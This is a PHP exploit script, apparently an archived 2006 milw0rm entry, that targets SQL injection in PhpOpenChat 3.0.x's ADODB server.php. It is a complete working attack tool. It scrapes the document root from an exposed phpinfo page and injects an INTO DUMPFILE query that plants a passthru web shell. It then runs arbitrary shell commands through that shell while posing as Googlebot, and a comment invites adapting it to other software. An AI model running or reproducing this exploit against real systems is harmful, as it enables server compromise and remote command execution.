/exploits/php/webapps/1652.php
PHP | 179 lines | 146 code | 7 blank | 26 comment | 24 complexity | 09c80d557bc92884a7bc72f70ea0ed8c MD5 | raw file
Possible License(s): GPL-2.0
- #!/usr/bin/php -q -d short_open_tag=on
- <?
- echo "PhpOpenChat 3.0.x ADODB Server.php \"sql\" SQL injection\r\n";
- echo "by rgod rgod@autistici.org\r\n";
- echo "site: http://retrogod.altervista.org\r\n\r\n";
- echo "dork: Welcome to your PHPOpenChat-Installation!\r\n\r\n";
-
- if ($argc<4) {
- echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
- echo "host: target server (ip/hostname)\r\n";
- echo "path: path to PhpOpenChat\r\n";
- echo "cmd: a shell command\r\n";
- echo "Options:\r\n";
- echo " -p[port]: specify a port other than 80\r\n";
- echo " -P[ip:port]: specify a proxy\r\n";
- echo "Examples:\r\n";
- echo "php ".$argv[0]." localhost /chat/ \r\n";
- echo "php ".$argv[0]." localhost /chat/ ls -la -p81\r\n";
- echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";
- die;
- }
- /*
- this is based on
-
- http://www.securityfocus.com/bid/16187
-
- but... look at the server.php source code:
-
- ...
- $driver = 'mysql';
- $host = 'localhost'; // DSN for odbc
- $uid = 'root';
- $pwd = '';
- $database = 'test';
- ...
-
- you need a "root" user with no password, an existent "test" database
- and Mysql to have certain rights to write files...
- so, this vulnerability is very hard to exploit
- however, here is the code for PhpOpenChat, you can easily change it to work
- against the program you want
- */
- error_reporting(0);
- ini_set("max_execution_time",0);
- ini_set("default_socket_timeout",5);
-
- function quick_dump($string)
- {
- $result='';$exa='';$cont=0;
- for ($i=0; $i<=strlen($string)-1; $i++)
- {
- if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
- {$result.=" .";}
- else
- {$result.=" ".$string[$i];}
- if (strlen(dechex(ord($string[$i])))==2)
- {$exa.=" ".dechex(ord($string[$i]));}
- else
- {$exa.=" 0".dechex(ord($string[$i]));}
- $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
- }
- return $exa."\r\n".$result;
- }
- $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
- function sendpacketii($packet)
- {
- global $proxy, $host, $port, $html, $proxy_regex;
- if ($proxy=='') {
- $ock=fsockopen(gethostbyname($host),$port);
- if (!$ock) {
- echo 'No response from '.$host.':'.$port; die;
- }
- }
- else {
- $c = preg_match($proxy_regex,$proxy);
- if (!$c) {
- echo 'Not a valid proxy...';die;
- }
- $parts=explode(':',$proxy);
- echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
- $ock=fsockopen($parts[0],$parts[1]);
- if (!$ock) {
- echo 'No response from proxy...';die;
- }
- }
- fputs($ock,$packet);
- if ($proxy=='') {
- $html='';
- while (!feof($ock)) {
- $html.=fgets($ock);
- }
- }
- else {
- $html='';
- while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
- $html.=fread($ock,1);
- }
- }
- fclose($ock);
- #debug
- #echo "\r\n".$html;
- }
-
- $host=$argv[1];
- $path=$argv[2];
- $action=$argv[3];
- $cmd="";$port=80;$proxy="";
-
- for ($i=3; $i<=$argc-1; $i++){
- $temp=$argv[$i][0].$argv[$i][1];
- if (($temp<>"-p") and ($temp<>"-P"))
- {$cmd.=" ".$argv[$i];}
- if ($temp=="-p")
- {
- $port=str_replace("-p","",$argv[$i]);
- }
- if ($temp=="-P")
- {
- $proxy=str_replace("-P","",$argv[$i]);
- }
- }
- $cmd=urlencode($cmd);
-
- if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
- if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-
- #step 1->read DOCUMENT ROOT from phpinfo
- $packet ="GET ".$p."include/adodb/tests/tmssql.php?do=phpinfo HTTP/1.0\r\n";
- $packet.="User-Agent: Googlebot/2.1\r\n";
- $packet.="Host: ".$host."\r\n";
- $packet.="Connection: Close\r\n\r\n";
- sendpacketii($packet);
- $temp=explode("DOCUMENT_ROOT </td><td class=\"v\">",$html);
- $temp2=explode(" </td></tr>",$temp[1]);
- $fullpath=$temp2[0];
- $fullpath=trim($fullpath);
- echo "DOCUMENT ROOT ->".$fullpath."\r\n\r\n";
- $fullpath=str_replace("\\","\\\\\\\\",$fullpath); // win boxes
- if ($fullpath=="")
- {
- echo $html;
- die("\r\n\r\nCannot read phpinfo ...\r\n");
- }
-
- #step 2->execute a query (you can regardless of magic_quotes_gpc)
- $SQL ="SELECT '<?php echo chr(0x2a).\"delim*\";passthru(\$_GET[\"cmd\"]);echo chr(0x2a).\"delim*\";?>',0,0,0,0,0 ";
- $SQL.="INTO DUMPFILE '".$fullpath."/suntzu.php' FROM poc.poc_user_account LIMIT 1";
- $SQL=urlencode($SQL);
- $packet ="GET ".$p."include/adodb/server.php?sql=$SQL HTTP/1.0\r\n";
- $packet.="User-Agent: Googlebot/2.1\r\n";
- $packet.="Host: ".$host."\r\n";
- $packet.="Connection: Close\r\n\r\n";
- sendpacketii($packet);
- if (strstr($html,"Access denied") || !strstr($html,"200 OK") || strstr($html,"Can't connect"))
- {
- echo $html;
- die("\r\n\r\nExploit failed...\r\n");
- }
- sleep(1);
- #step 3->launch commands
- $packet ="GET /suntzu.php?cmd=".$cmd." HTTP/1.0\r\n";
- $packet.="User-Agent: Googlebot/2.1\r\n";
- $packet.="Host: ".$host."\r\n";
- $packet.="Connection: Close\r\n\r\n";
- sendpacketii($packet);
- if (!strstr($html,"*delim*"))
- {
- echo $html;
- die("\r\n\r\nExploit failed...\r\n");
- }
- else
- {
- echo "Exploit succeeded...\r\n";
- $temp=explode("*delim*",$html);
- echo $temp[1];
- }
- ?>
-
- # milw0rm.com [2006-04-09]